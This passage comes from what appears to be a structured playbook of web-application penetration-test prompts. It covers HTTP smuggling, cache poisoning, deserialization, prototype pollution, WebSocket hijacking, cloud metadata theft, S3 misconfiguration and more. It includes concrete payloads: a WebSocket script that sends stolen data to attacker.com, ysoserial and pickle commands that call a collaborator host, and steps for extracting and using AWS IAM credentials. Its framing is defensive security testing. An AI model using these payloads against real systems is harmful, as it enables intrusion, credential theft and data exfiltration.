"MEDIUM-HIGH - Clickjacking with impact", "frameable_no_sensitive_actions": "LOW - Clickjacking but limited impact", "frame_blocked": "X-Frame-Options/CSP protecting against clickjacking" } } ], "bypass_strategies": [ "iframe sandbox attribute to disable frame-busting JS", "Double framing: iframe within iframe", "Mobile-specific: touch event hijacking", "Drag-and-drop clickjacking for data extraction" ], "verification_checklist": [ "Target page renders inside attacker's iframe", "Sensitive action can be triggered by clicking through the overlay", "PoC demonstrates end-to-end attack (not just framing)", "Impact is meaningful (not just viewing static content)" ], "chain_attacks": ["Clickjacking → Password/email change → Account takeover", "Clickjacking → CSRF-like actions without CSRF token"], "anti_false_positive": [ "Page frameable but no sensitive actions = very low impact", "Must demonstrate a specific action that can be triggered via clickjacking", "Frame-busting scripts may prevent actual exploitation" ] }, "ssl_tls_issues": { "category": "infrastructure", "title": "SSL/TLS Misconfiguration", "overview": "Weak SSL/TLS configuration: outdated protocols (SSLv3, TLS 1.0/1.1), weak ciphers, missing certificate validation, expired certificates, mixed content.", "threat_model": "Attacker performs man-in-the-middle attack exploiting weak encryption, protocol downgrade, or certificate issues to intercept sensitive communications.", "discovery": [ "Test with testssl.sh or sslyze for protocol/cipher analysis", "Check certificate validity, chain, and CN/SAN matching", "Check for mixed content (HTTP resources on HTTPS page)", "Test for protocol downgrade attacks" ], "test_phases": [ { "phase": 1, "name": "SSL/TLS Configuration Audit", "prompts": [ "Check supported protocols: SSLv3 (POODLE), TLS 1.0 (BEAST), TLS 1.1 (deprecated). Only TLS 1.2+ should be supported.", "Check cipher suites: look for NULL ciphers, export ciphers (FREAK), RC4 (known weaknesses), DES/3DES (SWEET32), CBC mode (BEAST/LUCKY13).", "Check certificate: is it expired? Is the chain complete? Does CN/SAN match the domain? Is it self-signed?", "Check for HSTS: Strict-Transport-Security header with adequate max-age.", "Check for mixed content: HTTPS pages loading HTTP resources (scripts, stylesheets, images).", "Test for CRIME/BREACH: is TLS compression enabled? Is HTTP compression used for pages with sensitive tokens?" ], "expected_results": ["Weak protocols/ciphers found", "Certificate issues", "Mixed content"], "decision_tree": { "sslv3_or_tls10": "MEDIUM - Vulnerable to known attacks", "weak_ciphers": "MEDIUM - Encryption can be broken", "expired_cert": "HIGH - Users trained to ignore cert warnings", "mixed_content": "LOW-MEDIUM - Partial encryption bypass" } } ], "bypass_strategies": ["Protocol downgrade attack", "Cipher suite downgrade", "POODLE on SSLv3", "BEAST on TLS 1.0 CBC ciphers"], "verification_checklist": [ "Weak protocol/cipher actually negotiates (not just offered)", "Certificate issue is real and impacts trust", "Mixed content serves sensitive resources over HTTP", "Tools confirm the finding (testssl.sh, sslyze, nmap ssl-enum-ciphers)" ], "chain_attacks": ["Weak TLS → MITM → Credential theft", "Mixed content → Inject malicious script via HTTP"], "anti_false_positive": [ "Cipher offered but not selected is lower risk", "TLS 1.0 required for legacy client compatibility may be accepted risk", "Certificate issues must be verified against current browser trust stores" ] }, "directory_listing": { "category": "infrastructure", "title": "Directory Listing / Information Disclosure", "overview": "Web server displays directory contents when index file is missing. Test for exposed directories containing sensitive files (backups, source code, configurations).", "threat_model": "Attacker discovers directory listing and finds sensitive files: backups (.bak, .old, .zip), configuration files (.env, config.php), source code, debug files, database dumps.", "discovery": [ "Browse to directories without index file: /uploads/, /backup/, /admin/, /temp/, /test/", "Look for directory listing indicators: Apache 'Index of', Nginx autoindex", "Check common backup locations: /.git/, /.svn/, /.env, /backup.zip" ], "test_phases": [ { "phase": 1, "name": "Directory Enumeration", "prompts": [ "Try accessing common directories: /uploads/, /images/, /backup/, /backups/, /temp/, /tmp/, /test/, /admin/, /config/, /logs/, /data/, /api/, /static/, /assets/.", "Check for version control exposure: /.git/HEAD (Git), /.svn/entries (SVN), /.hg/ (Mercurial). If accessible, full source code can be extracted.", "Check for configuration files: /.env, /config.php.bak, /web.config.old, /application.yml, /settings.py.bak.", "Check for backup files: /backup.zip, /backup.tar.gz, /db_dump.sql, /site.zip, /{domain}.zip.", "Check for debug/development files: /phpinfo.php, /info.php, /debug/, /elmah.axd, /trace.axd, /.DS_Store.", "If directory listing found, enumerate all files for sensitive content." ], "expected_results": ["Directory listing enabled", "Sensitive files discovered", "Source code exposed"], "decision_tree": { "source_code_exposed": "HIGH - Full source code via .git/.svn", "config_backup_found": "HIGH - Credentials in configuration files", "directory_listing_no_sensitive": "LOW - Information disclosure", "no_listing": "Directory listing disabled" } } ], "bypass_strategies": ["Try with/without trailing slash", "Case variation: /Admin/, /ADMIN/", "URL encoding: /%61dmin/", "Semicolon path parameter: /;/admin/"], "verification_checklist": [ "Directory contents actually listed in response", "Sensitive files are downloadable and contain real data", "Source code from .git is valid and current", "Configuration files contain credentials or secrets" ], "chain_attacks": ["Directory listing → Config file → Credentials → Auth bypass", ".git exposure → Source code → Find vulns → Exploit"], "anti_false_positive": [ "Custom 404 page that looks like directory listing != actual listing", "Must verify files are actually downloadable, not just listed", ".git/HEAD returning 200 but not actual Git objects = partial exposure" ] }, "http_smuggling": { "category": "infrastructure", "title": "HTTP Request Smuggling", "overview": "Exploit differences in how front-end (load balancer/reverse proxy) and back-end servers parse HTTP request boundaries (Content-Length vs Transfer-Encoding). Smuggle requests to bypass security controls, poison caches, or hijack sessions.", "threat_model": "Attacker sends ambiguous HTTP requests that are interpreted differently by frontend and backend. The smuggled request can hijack other users' requests, bypass access controls, or poison web caches.", "discovery": [ "Identify reverse proxy / load balancer setup", "Test CL.TE: Content-Length on frontend, Transfer-Encoding on backend", "Test TE.CL: Transfer-Encoding on frontend, Content-Length on backend", "Use time-based detection for blind smuggling" ], "test_phases": [ { "phase": 1, "name": "Smuggling Detection", "prompts": [ "CL.TE detection: send POST with Content-Length: 6 and Transfer-Encoding: chunked, body: '0\\r\\n\\r\\nG'. If backend interprets TE, the 'G' is treated as start of next request. A follow-up normal request may get '405 Method Not Allowed' (GPOST).", "TE.CL detection: send POST with Transfer-Encoding: chunked and Content-Length: 3, body: '8\\r\\nSMUGGLED\\r\\n0\\r\\n\\r\\n'. If backend uses CL, it reads only 3 bytes of chunk, leaving 'SMUGGLED' as next request.", "Time-based detection: send a request designed to cause a timeout if smuggling works. If the follow-up request takes 10+ seconds, smuggling is confirmed.", "Test TE.TE with header obfuscation: Transfer-Encoding: chunked\\r\\nTransfer-Encoding: x, Transfer-Encoding: chunked\\r\\n\\tmalformed, Transfer-Encoding: xchunked. Different servers handle obfuscated TE differently.", "Use HTTP/2 desync: test H2.CL and H2.TE variants where HTTP/2 frontend translates to HTTP/1.1 backend." ], "expected_results": ["Smuggled request processed by backend", "Time-based confirmation"], "decision_tree": { "cl_te_confirmed": "Proceed with CL.TE exploitation", "te_cl_confirmed": "Proceed with TE.CL exploitation", "te_te_confirmed": "Proceed with TE.TE exploitation", "no_smuggling": "No desync between frontend and backend" } }, { "phase": 2, "name": "Smuggling Exploitation", "prompts": [ "Bypass front-end access controls: smuggle a request to /admin that the frontend would normally block.", "Capture other users' requests: smuggle a request that reflects the next user's request body (stored XSS via smuggling).", "Cache poisoning via smuggling: smuggle a request that poisons the cache with malicious content for a popular URL.", "Session hijacking: smuggle a request that captures the next user's session cookie.", "Web socket smuggling: upgrade connection to WebSocket to tunnel arbitrary requests." ], "expected_results": ["Access control bypass", "Request capture", "Cache poisoned"], "decision_tree": { "access_control_bypass": "HIGH - Frontend security bypassed", "request_capture": "CRITICAL - Other users' data stolen", "cache_poisoned": "CRITICAL - Mass user impact" } } ], "bypass_strategies": [ "TE header obfuscation: tab, space, xchunked, chunked1", "HTTP/2 to HTTP/1.1 translation desync", "Line ending variation: \\n vs \\r\\n", "HTTP/0.9 response splitting on ancient backends", "WebSocket upgrade smuggling" ], "verification_checklist": [ "Smuggled request is processed as a separate request by backend", "Time delay or response change confirms desync", "Access control bypass demonstrates actual restricted resource access", "Negative control: properly formatted request works normally" ], "chain_attacks": ["HTTP smuggling → Bypass WAF/ACL", "HTTP smuggling → Cache poison → Mass XSS", "HTTP smuggling → Session hijacking"], "anti_false_positive": [ "Connection errors or timeouts may be server instability, not smuggling", "Must demonstrate desync between two specific components", "Careful: smuggling tests can break other users' connections — test responsibly" ] }, "cache_poisoning": { "category": "infrastructure", "title": "Web Cache Poisoning", "overview": "Exploit caching behavior to store malicious responses in shared caches. Unkeyed inputs (headers, cookies) that influence response content can be used to poison the cache for all users.", "threat_model": "Attacker identifies unkeyed inputs that affect response content. Sends request with malicious value in unkeyed input, response gets cached. All subsequent users receive the poisoned response.", "discovery": [ "Identify caching infrastructure (CDN, reverse proxy, application cache)", "Find unkeyed inputs that affect response: X-Forwarded-Host, X-Forwarded-Proto, X-Original-URL", "Check cache headers: Age, X-Cache, Via, Cache-Control" ], "test_phases": [ { "phase": 1, "name": "Cache Behavior Analysis & Poisoning", "prompts": [ "Identify cache keys: which request components determine the cached response? (Usually URL path + query + Host header.) Other headers/cookies are typically unkeyed.", "Test unkeyed headers: send request with X-Forwarded-Host: evil.com. If this value appears in response (meta tags, script sources, absolute URLs), and the response gets cached, cache poisoning is possible.", "Test X-Forwarded-Proto: http (may cause mixed-content or redirect to HTTP URLs in cached response).", "Test cache timing: send request with unique cache-buster (?cb=random), then send the poisoning request without cache-buster. Check if the poisoned response is returned to other requests.", "Identify high-value cache targets: homepage, login page, popular pages with maximum cache reach.", "Test parameter cloaking: /page?param=normal¶m= where cache uses first param but app uses second." ], "expected_results": ["Unkeyed input reflected in cached response", "Cache serves poisoned content to other users"], "decision_tree": { "xss_via_cache_poison": "CRITICAL - Stored XSS affecting all users via cache", "redirect_via_cache": "HIGH - All users redirected to attacker domain", "unkeyed_reflection_no_cache": "LOW - Reflection but not cached", "no_unkeyed_inputs": "Cache poisoning not viable" } } ], "bypass_strategies": [ "X-Forwarded-Host, X-Forwarded-Scheme, X-Original-URL headers", "Parameter cloaking: duplicate parameters with different values", "Path normalization differences: /page vs /PAGE vs /page/ vs /page;", "Fat GET request: include body in GET request affecting response" ], "verification_checklist": [ "Poisoned response served from cache (check Age, X-Cache: HIT headers)", "Different user (different session/IP) receives the poisoned response", "Malicious content actually executes or affects the page", "Negative control: response before poisoning was clean" ], "chain_attacks": ["Cache poisoning → Mass XSS", "Cache poisoning → Open redirect for all users"], "anti_false_positive": [ "Unkeyed header reflected but NOT cached = just reflection, not poisoning", "Must verify the CACHED response is poisoned (check X-Cache: HIT)", "CDN may cache differently per region — test from the same PoP" ] }, "sensitive_data_exposure": { "category": "data_exposure", "title": "Sensitive Data Exposure", "overview": "Application exposes sensitive information: PII in API responses, credentials in source/configs, internal IPs, stack traces, debug information, or excessive API data.", "threat_model": "Sensitive data is exposed through verbose error messages, over-permissive API responses, debug pages, or improper data masking, enabling further attacks or regulatory violations.", "discovery": [ "Check API responses for excessive data (fields not needed by the client)", "Trigger error pages and check for stack traces, file paths, SQL queries", "Search JavaScript source for hardcoded credentials, API keys, internal URLs", "Check for debug endpoints: /debug, /phpinfo.php, /trace, /actuator" ], "test_phases": [ { "phase": 1, "name": "Data Exposure Assessment", "prompts": [ "Check API responses: do user endpoints return password hashes, SSN, full credit card numbers, or internal IDs that should be masked?", "Trigger error conditions: send malformed input, invalid IDs, SQL injection attempts. Check if error responses contain stack traces, file paths, database connection strings.", "Search JavaScript files for: API keys (look for patterns like 'api_key', 'apiKey', 'secret', 'token', 'password', 'aws_access_key'), internal URLs (http://10.x, http://192.168.x), and debug flags.", "Check for Spring Boot Actuator: /actuator/env (exposes environment variables), /actuator/heapdump (Java heap), /actuator/configprops.", "Check for debug/test endpoints: /debug, /test, /console, /phpinfo.php, /server-status, /server-info.", "Check response headers for server version disclosure: Server, X-Powered-By, X-AspNet-Version." ], "expected_results": ["PII in API responses", "Credentials in JavaScript", "Debug endpoints exposed", "Stack traces in errors"], "decision_tree": { "credentials_exposed": "CRITICAL - Hardcoded credentials or API keys", "pii_in_api": "HIGH - Sensitive user data over-exposed", "debug_endpoints": "HIGH - Internal application details exposed", "version_disclosure": "LOW - Server version information" } } ], "bypass_strategies": ["Force errors via invalid input", "Check all response headers", "Search all JS files systematically", "Test admin/debug URLs from common wordlists"], "verification_checklist": [ "Sensitive data is actually sensitive (not test/default data)", "Data is accessible without special authorization", "Credentials/keys are valid and usable", "PII exposure violates the application's data handling requirements" ], "chain_attacks": ["API key exposure → Third-party service abuse", "Credential exposure → Admin access", "Stack trace → Technology identification → Targeted exploits"], "anti_false_positive": [ "Version numbers alone are informational, not always a finding", "Test/default credentials in demo environments may be expected", "Verify exposed API keys are actually valid before reporting" ] }, "insecure_deserialization": { "category": "injection", "title": "Insecure Deserialization", "overview": "Application deserializes untrusted data (Java ObjectInputStream, Python pickle, PHP unserialize, .NET BinaryFormatter, Ruby Marshal, Node.js serialize). Can lead to RCE, DoS, or privilege escalation.", "threat_model": "Attacker submits crafted serialized objects that when deserialized execute arbitrary code, modify application state, or trigger gadget chains for RCE.", "discovery": [ "Look for serialized data in requests: Base64-encoded blobs, Java serialization magic bytes (aced0005), ViewState, JWT payloads", "Check Content-Type: application/x-java-serialized-object", "Look for .NET ViewState without MAC validation", "Check for Python pickle in cookies or API payloads" ], "test_phases": [ { "phase": 1, "name": "Deserialization Detection", "prompts": [ "Check cookies, hidden form fields, and API parameters for serialized data: Base64 decode suspicious values. Java serialization starts with rO0AB (base64 of aced0005). PHP serialization looks like O:8:\"ClassName\":1:{...}.", "Test Java: use ysoserial to generate payloads for known gadget chains: java -jar ysoserial.jar CommonsCollections1 'curl COLLABORATOR' | base64. Submit as the serialized parameter.", "Test PHP: modify serialized object properties: O:4:\"User\":2:{s:4:\"name\";s:5:\"admin\";s:4:\"role\";s:5:\"admin\";} to escalate privileges.", "Test Python pickle: create malicious pickle that executes os.system('curl COLLABORATOR'). Submit as the deserialized parameter.", "Test .NET ViewState: if MAC validation is disabled (__VIEWSTATEGENERATOR but no __VIEWSTATEMAC), craft malicious ViewState using ysoserial.net.", "Check for time-based detection: payload that causes sleep(5) via deserialization gadget chain." ], "expected_results": ["OOB callback from deserialization gadget", "Privilege escalation via object manipulation", "RCE via gadget chain"], "decision_tree": { "rce_via_gadget": "CRITICAL - Remote code execution via deserialization", "object_manipulation": "HIGH - Application state modified", "dos_via_nested_objects": "MEDIUM - Denial of service", "no_deserialization": "Data is not deserialized or safely handled" } } ], "bypass_strategies": [ "Different ysoserial gadget chains for different library versions", "Universal gadget chains for common libraries", "Polyglot payloads that work across frameworks", "Compress/encode payload to bypass size limits", "Chain multiple gadgets for complex exploitation" ], "verification_checklist": [ "OOB callback proves code execution during deserialization", "Command output confirms RCE (not just error/crash)", "Object manipulation persists (role change actually works)", "Negative control: normal serialized object works correctly" ], "chain_attacks": ["Deserialization → RCE → Full compromise", "Deserialization → Object injection → Privilege escalation"], "anti_false_positive": [ "Application error on malformed serialized data != deserialization vuln", "Must prove code execution or object manipulation, not just parsing error", "Some frameworks safely reject untrusted serialized data" ] }, "prototype_pollution": { "category": "client_side", "title": "Prototype Pollution", "overview": "JavaScript applications where user input can modify Object.prototype, affecting all objects. Test for __proto__, constructor.prototype pollution via merge/clone operations in both client-side and server-side JavaScript.", "threat_model": "Attacker pollutes JavaScript Object prototype to inject properties that affect application logic: bypass authentication checks, trigger XSS, modify configuration values, or achieve RCE in Node.js.", "discovery": [ "Look for merge/extend/clone operations on user-controlled objects", "Test JSON input with __proto__: {\"__proto__\":{\"isAdmin\":true}}", "Test URL parameters: ?__proto__[isAdmin]=true", "Check for lodash.merge, jQuery.extend, Object.assign with user input" ], "test_phases": [ { "phase": 1, "name": "Prototype Pollution Detection", "prompts": [ "Test client-side: submit JSON body {\"__proto__\":{\"polluted\":\"true\"}}. In browser console, check if ({}).polluted === 'true'. If yes, prototype is polluted.", "Test server-side (Node.js): send {\"__proto__\":{\"status\":500}} or {\"constructor\":{\"prototype\":{\"polluted\":true}}}. Check if application behavior changes.", "Test via query params: ?__proto__[polluted]=true or ?constructor.prototype.polluted=true.", "Test for XSS via prototype pollution: pollute innerHTML, srcdoc, onload, onerror properties that template engines might use.", "Test specific gadgets: {\"__proto__\":{\"shell\":\"node\",\"NODE_OPTIONS\":\"--require /proc/self/environ\"}} for Node.js RCE.", "Check for prototype pollution to XSS via known gadgets in popular libraries (Pug, Handlebars, EJS, jQuery)." ], "expected_results": ["Object.prototype polluted", "Application behavior changed", "XSS or RCE via gadget"], "decision_tree": { "rce_via_gadget": "CRITICAL - Remote code execution via prototype pollution", "xss_via_gadget": "HIGH - XSS through polluted template property", "logic_bypass": "MEDIUM - Application logic affected by polluted property", "pollution_no_impact": "LOW - Prototype polluted but no exploitable gadget found" } } ], "bypass_strategies": [ "__proto__ vs constructor.prototype (different access paths)", "Nested pollution: a.b.__proto__.c = value", "URL parameter pollution: param[__proto__][key]=value", "JSON vs query parameter vs form data encoding", "Object.create(null) bypass via constructor property" ], "verification_checklist": [ "({}).polluted === expected_value confirms prototype pollution", "Application behavior observably changes after pollution", "XSS or RCE gadget exploitable (not just pollution)", "Negative control: without pollution, behavior is normal" ], "chain_attacks": ["Prototype pollution → XSS via template engine", "Prototype pollution → RCE in Node.js", "Prototype pollution → Auth bypass via isAdmin property"], "anti_false_positive": [ "Prototype pollution without exploitable gadget is low severity", "Client-side pollution affecting only the attacker's session = limited impact", "Must demonstrate actual application impact, not just pollution ability" ] }, "websocket_hijacking": { "category": "client_side", "title": "WebSocket Hijacking / Cross-Site WebSocket Hijacking", "overview": "WebSocket connections that don't verify Origin or lack CSRF protection. Attacker's page can establish WebSocket to target and read/write data using victim's session.", "threat_model": "Attacker creates malicious page that opens WebSocket to target using victim's authenticated session. Can read real-time data streams and send commands as the victim.", "discovery": [ "Identify WebSocket endpoints (ws:// or wss://)", "Check if Origin header is validated during WebSocket handshake", "Check if authentication token is required in handshake" ], "test_phases": [ { "phase": 1, "name": "WebSocket Security Analysis", "prompts": [ "Send WebSocket upgrade request with Origin: https://evil.com. If connection is accepted, origin validation is missing.", "Build PoC: create HTML page that opens WebSocket to target. If victim visits the page, check if the WebSocket can read victim's data: var ws = new WebSocket('wss://target.com/ws'); ws.onmessage = function(e) { fetch('http://attacker.com/steal?data=' + e.data); };", "Test if WebSocket uses session cookie (auto-sent) or requires explicit token in handshake message.", "Send malicious commands via the hijacked WebSocket: ws.send('{\"action\":\"transferMoney\",\"to\":\"attacker\",\"amount\":1000}').", "Check for injection in WebSocket messages: SQL injection, command injection, or XSS via WebSocket data." ], "expected_results": ["Cross-origin WebSocket accepted", "Victim's data readable via hijacked WS"], "decision_tree": { "cross_origin_accepted_with_cookies": "HIGH - Full WebSocket hijacking", "cross_origin_accepted_no_auth": "MEDIUM - Unauthenticated WebSocket abuse", "origin_validated": "WebSocket origin check working correctly" } } ], "bypass_strategies": [ "Origin header spoofing (only from server-side, not browser)", "Subdomain WebSocket hijacking if origin check uses regex", "Flash/Java-based cross-origin WebSocket (legacy browsers)" ], "verification_checklist": [ "WebSocket connection established from cross-origin page", "Victim's authenticated data flows through the connection", "PoC demonstrates reading sensitive data or sending commands", "Negative control: proper origin check rejects cross-origin" ], "chain_attacks": ["WebSocket hijacking → Real-time data theft", "WebSocket hijacking → Command injection via WS messages"], "anti_false_positive": [ "Cross-origin WebSocket without authentication is expected for public WS endpoints", "Must demonstrate access to AUTHENTICATED data or actions", "Check if CSRF token is required in initial WS handshake" ] }, "subdomain_takeover": { "category": "infrastructure", "title": "Subdomain Takeover", "overview": "Dangling DNS records pointing to decommissioned services (S3, Heroku, GitHub Pages, Azure, etc.). Attacker claims the service and serves content on the subdomain.", "threat_model": "Attacker registers the unclaimed service that a subdomain's CNAME/A record points to, gaining control of content served on the target's subdomain. Can be used for phishing, cookie theft, or defacement.", "discovery": [ "Enumerate subdomains via DNS brute-force, certificate transparency logs", "Check CNAME records for third-party services", "Look for DNS records pointing to: S3, Heroku, GitHub Pages, Shopify, Tumblr, Azure, Fastly, Unbounce" ], "test_phases": [ { "phase": 1, "name": "Subdomain Takeover Detection", "prompts": [ "Enumerate subdomains using certificate transparency (crt.sh), DNS brute-force, or passive sources (SecurityTrails, Shodan).", "For each subdomain, resolve DNS: check for CNAME records pointing to third-party services. If the CNAME target returns NXDOMAIN or service-specific 'not found' message, takeover may be possible.", "Service-specific indicators: S3 'NoSuchBucket', Heroku 'no-such-app', GitHub Pages 404, Shopify 'Sorry, this shop is currently unavailable', Azure 'NXDOMAIN on *.azurewebsites.net'.", "Verify takeover by claiming the service: create S3 bucket with matching name, create Heroku app, set up GitHub Pages, etc.", "After claiming, serve proof content (test.html with unique identifier) and verify it's accessible via the target subdomain.", "Check for higher-impact takeovers: subdomains used for OAuth callbacks, email (MX records), or API endpoints." ], "expected_results": ["Dangling CNAME identified", "Service claimed by attacker", "Content served on target subdomain"], "decision_tree": { "takeover_confirmed": "HIGH - Attacker controls target subdomain content", "dangling_dns_no_claim": "MEDIUM - Potential takeover (service may be unclaimed)", "service_protected": "Some services prevent external claiming" } } ], "bypass_strategies": [ "Race condition: claim service faster than legitimate owner reclaims", "Different regions: S3 buckets are region-specific, try all regions", "Service-specific naming rules to match the CNAME target" ], "verification_checklist": [ "Content served on target subdomain is attacker-controlled", "DNS resolution chain verified: subdomain → CNAME → attacker service", "No legitimate service is using the endpoint (verify it's truly dangling)", "Impact assessed: cookies, OAuth, email implications" ], "chain_attacks": ["Subdomain takeover → Cookie theft (if parent domain cookies)", "Subdomain takeover → OAuth callback hijack → Token theft", "Subdomain takeover → Phishing on trusted domain"], "anti_false_positive": [ "CNAME pointing to working service is NOT takeover", "Must verify the CNAME target is actually unclaimed/claimable", "Some services (Cloudflare, Fastly) require domain verification preventing takeover" ] }, "cloud_metadata_exposure": { "category": "cloud_supply", "title": "Cloud Metadata Service Exposure", "overview": "Access to cloud instance metadata services (IMDS) via SSRF or misconfigured applications. Test for AWS/GCP/Azure metadata endpoints to extract IAM credentials and instance information.", "threat_model": "Attacker accesses cloud metadata service to obtain temporary IAM credentials, which can be used to access other cloud resources (S3 buckets, databases, secrets managers).", "discovery": [ "Via SSRF: url=http://169.254.169.254/latest/meta-data/ (AWS)", "Via SSRF: url=http://metadata.google.internal/ (GCP)", "Via SSRF: url=http://169.254.169.254/metadata/instance (Azure)", "Check if application runs on cloud with IMDSv1 (no token required)" ], "test_phases": [ { "phase": 1, "name": "Cloud Metadata Extraction", "prompts": [ "AWS IMDSv1: http://169.254.169.254/latest/meta-data/iam/security-credentials/ to list roles, then http://169.254.169.254/latest/meta-data/iam/security-credentials/{role-name} to get AccessKeyId, SecretAccessKey, Token.", "AWS IMDSv2 bypass: PUT http://169.254.169.254/latest/api/token with X-aws-ec2-metadata-token-ttl-seconds: 21600. Use returned token in subsequent requests.", "GCP: http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token (requires Metadata-Flavor: Google header).", "Azure: http://169.254.169.254/metadata/instance?api-version=2021-02-01 (requires Metadata: true header).", "Extract user-data/startup scripts: http://169.254.169.254/latest/user-data (often contains secrets, database credentials, API keys).", "Verify extracted credentials: use AWS CLI with stolen creds: aws sts get-caller-identity, then enumerate access: aws s3 ls, aws iam list-users." ], "expected_results": ["IAM credentials extracted", "User-data with secrets obtained", "Cloud access via stolen credentials"], "decision_tree": { "iam_creds_extracted": "CRITICAL - Cloud account compromise possible", "user_data_with_secrets": "HIGH - Application secrets exposed", "metadata_accessible_no_creds": "MEDIUM - Instance information disclosure", "imdsv2_blocks_access": "IMDSv2 token requirement prevents exploitation" } } ], "bypass_strategies": [ "IMDSv2 bypass: PUT request to get token, then use token", "DNS rebinding to bypass IP-based SSRF filters", "Alternative metadata IPs: 169.254.169.254, fd00:ec2::254", "Header injection to add required metadata headers" ], "verification_checklist": [ "Extracted credentials are valid (sts get-caller-identity succeeds)", "IAM role provides meaningful access (list/read/write cloud resources)", "User-data contains actual secrets, not template placeholders", "Access confirmed to internal resources via stolen credentials" ], "chain_attacks": ["SSRF → Metadata → IAM creds → S3 data theft → Full cloud compromise", "Metadata → User-data secrets → Database access"], "anti_false_positive": [ "Metadata endpoint returning HTTP 200 without data != exposure", "IMDSv2 requiring token may block exploitation — verify token obtainable", "Expired/rotated credentials are not exploitable" ] }, "s3_bucket_misconfig": { "category": "cloud_supply", "title": "S3 Bucket / Cloud Storage Misconfiguration", "overview": "Cloud storage buckets (AWS S3, GCS, Azure Blob) with overly permissive ACLs allowing public read, write, or list operations. Test for data exposure and unauthorized write access.", "threat_model": "Attacker discovers and accesses misconfigured cloud storage containing sensitive data (PII, credentials, backups) or uploads malicious content to publicly writable buckets.", "discovery": [ "Discover buckets: look for S3 URLs in JavaScript, DNS CNAME records, common naming patterns ({company}-{env})", "Test listing: aws s3 ls s3://bucket-name --no-sign-request", "Test read: wget https://bucket-name.s3.amazonaws.com/", "Test write: aws s3 cp test.txt s3://bucket-name/ --no-sign-request" ], "test_phases": [ { "phase": 1, "name": "Bucket Discovery & Permission Testing", "prompts": [ "Enumerate bucket names: try {company}, {company}-backup, {company}-dev, {company}-staging, {company}-assets, {company}-uploads, {company}-data.", "Test public listing: curl https://{bucket}.s3.amazonaws.com/?list-type=2. If XML response with , bucket is listable.", "Test public read: curl https://{bucket}.s3.amazonaws.com/{known-file}. Download accessible files.", "Test public write: aws s3 cp test.txt s3://{bucket}/ --no-sign-request. If successful, bucket is writable.", "Test ACL: aws s3api get-bucket-acl --bucket {bucket} --no-sign-request. Check for AllUsers or AuthenticatedUsers grants.", "For GCS: curl https://storage.googleapis.com/{bucket}/ and for Azure: curl https://{account}.blob.core.windows.net/{container}?restype=container&comp=list." ], "expected_results": ["Bucket listable", "Sensitive files accessible", "Write access confirmed"], "decision_tree": { "sensitive_data_exposed": "HIGH - PII/credentials in public bucket", "public_write": "HIGH - Attacker can upload malicious content", "public_list_no_sensitive": "LOW - Bucket listing but no sensitive data", "properly_configured": "Bucket permissions correctly set" } } ], "bypass_strategies": [ "Try with/without AWS authentication (--no-sign-request vs authenticated)", "Different regions: us-east-1, eu-west-1, etc.", "Path-style vs virtual-hosted-style URLs", "Signed URL generation if any credentials are obtained" ], "verification_checklist": [ "Bucket contents actually accessible (files downloadable)", "Sensitive data confirmed in accessible files", "Write access verified with test file upload (and cleaned up)", "Bucket belongs to the target organization (not a different entity)" ], "chain_attacks": ["S3 misconfiguration → Data theft → Credential reuse", "S3 write access → Serve malicious content via trusted domain"], "anti_false_positive": [ "Public bucket may be intentionally public (static assets, open data)", "Must verify bucket belongs to target, not a similarly named third party", "Write access to bucket that doesn't serve content = limited impact" ] }, # ═══════════════════════════════════════════════════════════ # CHAPTER 5: ADVANCED & SPECIALIZED (51-70) # ═══════════════════════════════════════════════════════════ "race_condition": { "category": "logic", "title": "Race Condition / TOCTOU", "overview": "Exploit time-of-check-to-time-of-use gaps in concurrent operations. Send simultaneous requests to trigger double-spending, coupon reuse, or bypass single-use token restrictions.", "threat_model": "Attacker sends multiple identical requests simultaneously, exploiting the window between authorization check and action execution to duplicate operations.", "discovery": [ "Identify single-use operations: coupon redemption, money transfer, vote, like", "Look for non-atomic database operations", "Test with concurrent requests using race condition tools" ], "test_phases": [ { "phase": 1, "name": "Race Condition Exploitation", "prompts": [ "Identify a single-use operation (redeem coupon, transfer funds, use invite code). Send 10-50 identical requests simultaneously using turbo intruder, race-the-web, or curl parallel.", "Check results: did the operation execute multiple times? Was money transferred twice? Was the coupon applied more than once?", "Test with HTTP/1.1 last-byte sync: hold all requests, send final byte simultaneously for maximum timing precision.", "Test with HTTP/2 single-packet attack: send all requests in a single TCP packet for exact synchronization.", "Test limit-overrun race conditions: if there's a balance check before deduction, send concurrent requests that each pass the check before any deduction occurs.", "Test file upload race conditions: upload file and request it simultaneously before server-side validation/deletion." ], "expected_results": ["Operation executed multiple times", "Limit bypassed via concurrent requests"], "decision_tree": { "double_spend": "HIGH - Financial impact via race condition", "limit_bypass": "MEDIUM - Usage limits circumvented", "no_race": "Operations are properly atomic/synchronized" } } ], "bypass_strategies": [ "HTTP/2 single-packet attack for maximum concurrency", "Last-byte synchronization for HTTP/1.1", "Connection warming to reduce TCP handshake variance", "Multiple simultaneous sessions/tokens", "Different parameter encodings per request to avoid dedup" ], "verification_checklist": [ "Operation actually executed more than allowed times (verify in DB/state)", "Financial impact quantified (double spend amount)", "Reproducible: works consistently, not just once", "Negative control: sequential requests respect limits" ], "chain_attacks": ["Race condition → Double-spend → Financial fraud", "Race condition → Bypass invite/referral limits"], "anti_false_positive": [ "Multiple 200 responses don't prove multiple executions — check actual state", "Some applications return success but only process one request", "Verify in database/balance that the operation actually occurred multiple times" ] }, "parameter_pollution": { "category": "logic", "title": "HTTP Parameter Pollution (HPP)", "overview": "Supply duplicate parameters in HTTP requests. Different web servers and frameworks handle duplicates differently (first, last, concatenate, array), creating logic bypass opportunities.", "threat_model": "Attacker supplies duplicate parameters that are processed differently by WAF/frontend and backend, bypassing security controls or manipulating business logic.", "discovery": [ "Test: param=value1¶m=value2", "Check which value the application uses (first, last, both, array)", "Test WAF bypass via parameter pollution" ], "test_phases": [ { "phase": 1, "name": "HPP Behavior Mapping", "prompts": [ "Send duplicate parameters: ?search=normal&search=. Check which value appears in the response.", "Map framework behavior: PHP uses last value, ASP.NET concatenates with comma, Express.js creates array, Python Flask uses first value.", "Test WAF bypass: if WAF blocks ?search=, try ?search=safe&search=. WAF may check first value, app may use last.", "Test in POST body: same parameter twice with different values in application/x-www-form-urlencoded.", "Test mixed sources: GET param + POST param with same name. Framework may prefer one over the other.", "Test with different encodings: ?param=val1¶m=%3Cscript%3E to confuse parameter handling." ], "expected_results": ["Application uses unexpected parameter value", "WAF bypassed via HPP", "Logic manipulated"], "decision_tree": { "waf_bypass": "HIGH - Security control bypassed via HPP", "logic_manipulation": "MEDIUM - Application logic affected", "consistent_handling": "HPP not exploitable in this context" } } ], 